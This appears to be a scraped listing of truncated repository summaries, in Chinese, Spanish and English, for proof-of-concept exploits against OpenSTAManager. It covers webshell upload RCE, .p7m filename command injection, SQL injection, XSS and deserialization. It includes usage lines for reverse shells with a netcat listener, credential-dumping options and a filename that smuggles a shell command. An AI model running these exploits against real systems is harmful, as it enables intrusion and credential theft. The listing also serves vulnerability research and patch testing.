OpenSTAManager-RCE-Exploit-CVE-2026-38751

OpenSTAManager RCE 漏洞利用（CVE-2026-38751） 任意文件上传导致远程代码执行 针对 CVE-2026-38751 的全功能概念验证工具，使用 Rust 编写。 警告 ：本工具仅用于授权的安全测试和教育目的 。仅在您拥有或已获得明确许可的系统上使用。 描述 OpenSTAManager ≤ 2.10 存在一个经过身份验证的任意文件上传 漏洞，允许攻击者上传包含 PHP WebShell 的恶意 ZIP 压缩包。此 PoC 可自动化以下流程： 使用有效凭据登录 上传包含 WebShell 的恶意模块 验证漏洞是否存在 交互式 WebShell （命令执行） 反...

CVE-2025-69212-PoC

CVE-2025-69212 - PoC de Inyección de Comandos del SO en OpenSTAManager Uso Instala las dependencias: root@kitploit: pip install -r requirements.txt Ejecuta un comando único y muestra su salida: root@kitploit: python3 cve-2025-69212poc.py -u http://target.com -U admin -P 'password' -c 'id' En su...

CVE-2026-24417

CVE-2026-24417: OpenSTAManager tiene una inyección SQL ciega basada en tiempo con denegación de servicio amplificada Resumen...

CVE-2026-24416

CVE-2026-24416：OpenSTAManager 产品定价模块存在基于时间的盲 SQL 注入漏洞 概述 字段| 详细信息 ---|--- CVE 编号| CVE-2026-24416 严重性| 高危 安全公告| 查看安全公告 发现者| Lukasz Rybak 受影响产品 devcode-it/openstamanager （版本：= 2.9.8） CWE 分类 CWE-89: 未正确中和 SQL 命令中使用的特殊元素（'SQL 注入'） 详细信息 摘要 OpenSTAManager v2.9.8 的产品定价模块中存在严重的基于时间的盲 SQL...

CVE-2026-24415

CVE-2026-24415: OpenSTAManager afectado por XSS en modificaiva.php a través del parámetro righe Descripción general...

CVE-2026-24419

CVE-2026-24419: OpenSTAManager has a SQL Injection in the Prima Nota module Overview...

CVE-2026-69212

CVE-2025-69212 — OpenSTAManager OS命令注入（远程代码执行） CVE-2025-69212 的概念验证利用程序，该漏洞是OpenSTAManager ;echo ".p7m 产生的 shell 执行： root@kitploit: openssl smime ... -in "invoice.p7m";;echo ".p7m" ... ^^^^^^^^^^^^ 此处注入 注意： 正斜杠 / 不能直接出现在文件名中，因为 ZipArchive::extractTo 会将其视为路径分隔符。PoC 通过对反弹 shell 载荷进行base64编码来避免此问题。...

CVE-2026-38751

CVE-2026-38751 — OpenSTAManager 模块上传远程代码执行 通过模块更新端点的未验证ZIP上传实现经过身份验证的远程代码执行。 受影响版本: OpenSTAManager = 2.10.x 环境要求 pip install requests 使用方法 root@kitploit: Reverse shell Penelope or any listener python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444 Interactive webshe...

CVE-2026-24418

CVE-2026-24418：OpenSTAManager 的 Scadenzario 批量操作模块存在 SQL 注入漏洞 概述 字段| 详细信息 ---|--- CVE ID| CVE-2026-24418 严重性| 高 安全公告| 查看公告 发现者| Lukasz Rybak 受影响产品 devcode-it/openstamanager （版本： !empty$value; 影响： 该函数会过滤掉空值，但会接受任何非空值，包括 SQL 注入载荷。 3. SQL 注入点： /modules/scad...

OpenSTAManager_RCE_Exploit-CVE-2026-38751-

OpenSTAManager RCE 利用工具 CVE-2026-38751 概述 此 Python 脚本利用 OpenSTAManager 2.10 版本中的一个远程代码执行漏洞，编号为 CVE-2026-38751。该利用工具允许经过身份验证的用户上传恶意模块并在目标系统上执行任意命令。 漏洞详情 CVE ID ：CVE-2026-38751 产品 ：OpenSTAManager 版本 ：2.10 类型 ：远程代码执行 RCE 攻击向量 ：基于 Web，需要有效身份验证 利用原理 该利用工具遵循以下步骤： 1. 身份验证 ：使用提供的凭据登录 OpenSTAManager 应用 2...

CVE-2026-29782-OpenSTAManager-RCE

CVE-2026-29782 — OpenSTAManager auth-SQLi → inyección de objetos PHP → RCE PoC para ejecución remota de código enOpenSTAManager ≤ 2.10.1. oauth2.php busca una fila zzoauth2 mediante el parámetro GET state controlado por el atacante y llama a unserialize sobre su columna accesstoken sin una...

CVE-2025-69212-PoC

CVE-2025-69212-PoC https://github.com/advisories/GHSA-25fp-8w8p-mx36 OpenSTAManager versiones Uso root@kitploit: CVE-2025-69212.py -h -u URL -C COOKIE options: -h, --help show this help message and exit -u, --url URL target url, eg http://127.0.0.1 -C, --cookie COOKIE cookie value...

CVE-2026-24418

CVE-2026-24418 OpenSTAManager --info 侦察 root@kitploit: 数据库信息 + 权限 + 用户凭据 python3 exploit.py -t http://target.com -u admin -p secret --all 检查MySQL权限（FILE、SUPER等） python3 exploit.py -t http://target.com -u admin -p secret --privs 凭据提取 root@kitploit: 转储用户并自动导出哈希 python3 exploit.py -t http://ta...

CVE-2025-69212

CVE-2025-69212: OpenSTAManager 在 P7M 文件处理中存在 OS 命令注入 概述...

CVE-2025-69212-PoC

CVE-2025-69212 — OpenSTAManager P7M 命令注入 PoC OpenSTAManager = 2.9.8 — 通过 ZIP 上传中的恶意 .p7m 文件名实现操作系统命令注入 文件： src/Util/XML.php:100 — 未净化的 $file 位于 exec 中 向量： /plugins/importFEZIP/actions.php → ZIP → .p7m 文件名 → exec"openssl smime ... -in "$file" ..." 使用方法 root@kitploit: Listener nc -lvnp 4444 Exploit...

CVE-2025-69212_PoC

CVE-2025-69212: OpenSTAManager 概念验证（PoC） 本仓库包含一个概念验证（PoC），展示了标识为 CVE-2025-69212 的漏洞，该漏洞存在于 OpenSTAManager 中，是一个由 P7M（签名 XML）文件解码功能引起的操作系统命令注入漏洞。受影响版本为 2.9.8 及更早版本。 描述 CVE-2025-69212 是 OpenSTAManager 中发现的一个安全漏洞。此 PoC 旨在演示该漏洞的机制，用于教育目的、安全研究和补丁验证。 免责声明 !WARNING...

Hack-The-Box-Enigma-Findings-Report

🛡️ Hack The Box - Informe de Hallazgos Enigma 📋 Resumen Este repositorio contiene un informe completo de prueba de penetración para la máquina Enigma de Hack The Box. 🔍 Hallazgos Clave Recurso compartido NFS inseguro que expone documentos de incorporación - Severidad Media Divulgación de...

CVE-2026-38751-OpenSTAManager-Arbitrary-File-Upload-PoC

CVE-2026-38751 – Carga Arbitraria de Archivos en OpenSTAManager PoC Este repositorio contiene un exploit de prueba de concepto PoC para CVE-2026-38751, que afecta a OpenSTAManager ≤ 2.10. La vulnerabilidad permite a un atacante autenticado cargar un módulo malicioso a través de la funcionalidad d...

CVE-2025-69212

CVE-2025-69212 描述 OpenSTAManager 是一款用于技术支持、电子发票和会计的管理软件解决方案。版本 =2.9.8 存在一个经过身份验证的远程代码执行漏洞。攻击者可以通过上传一个特制的包含 .p7m 文件的 .zip 压缩包来利用此漏洞，该 .p7m 文件的文件名可被解释为 shell 命令，从而导致在远程服务器上执行任意命令。 用法 要求 root@kitploit: $ pip install requests 概念验证用法 root@kitploit: $ python3 exploit.py -h --user USER --password PASSWO...

CVE-2025-69212-PoC

CVE-2025-69212 OpenSTAManager = 2.9.8 — P7M 文件处理中的操作系统命令注入 概述...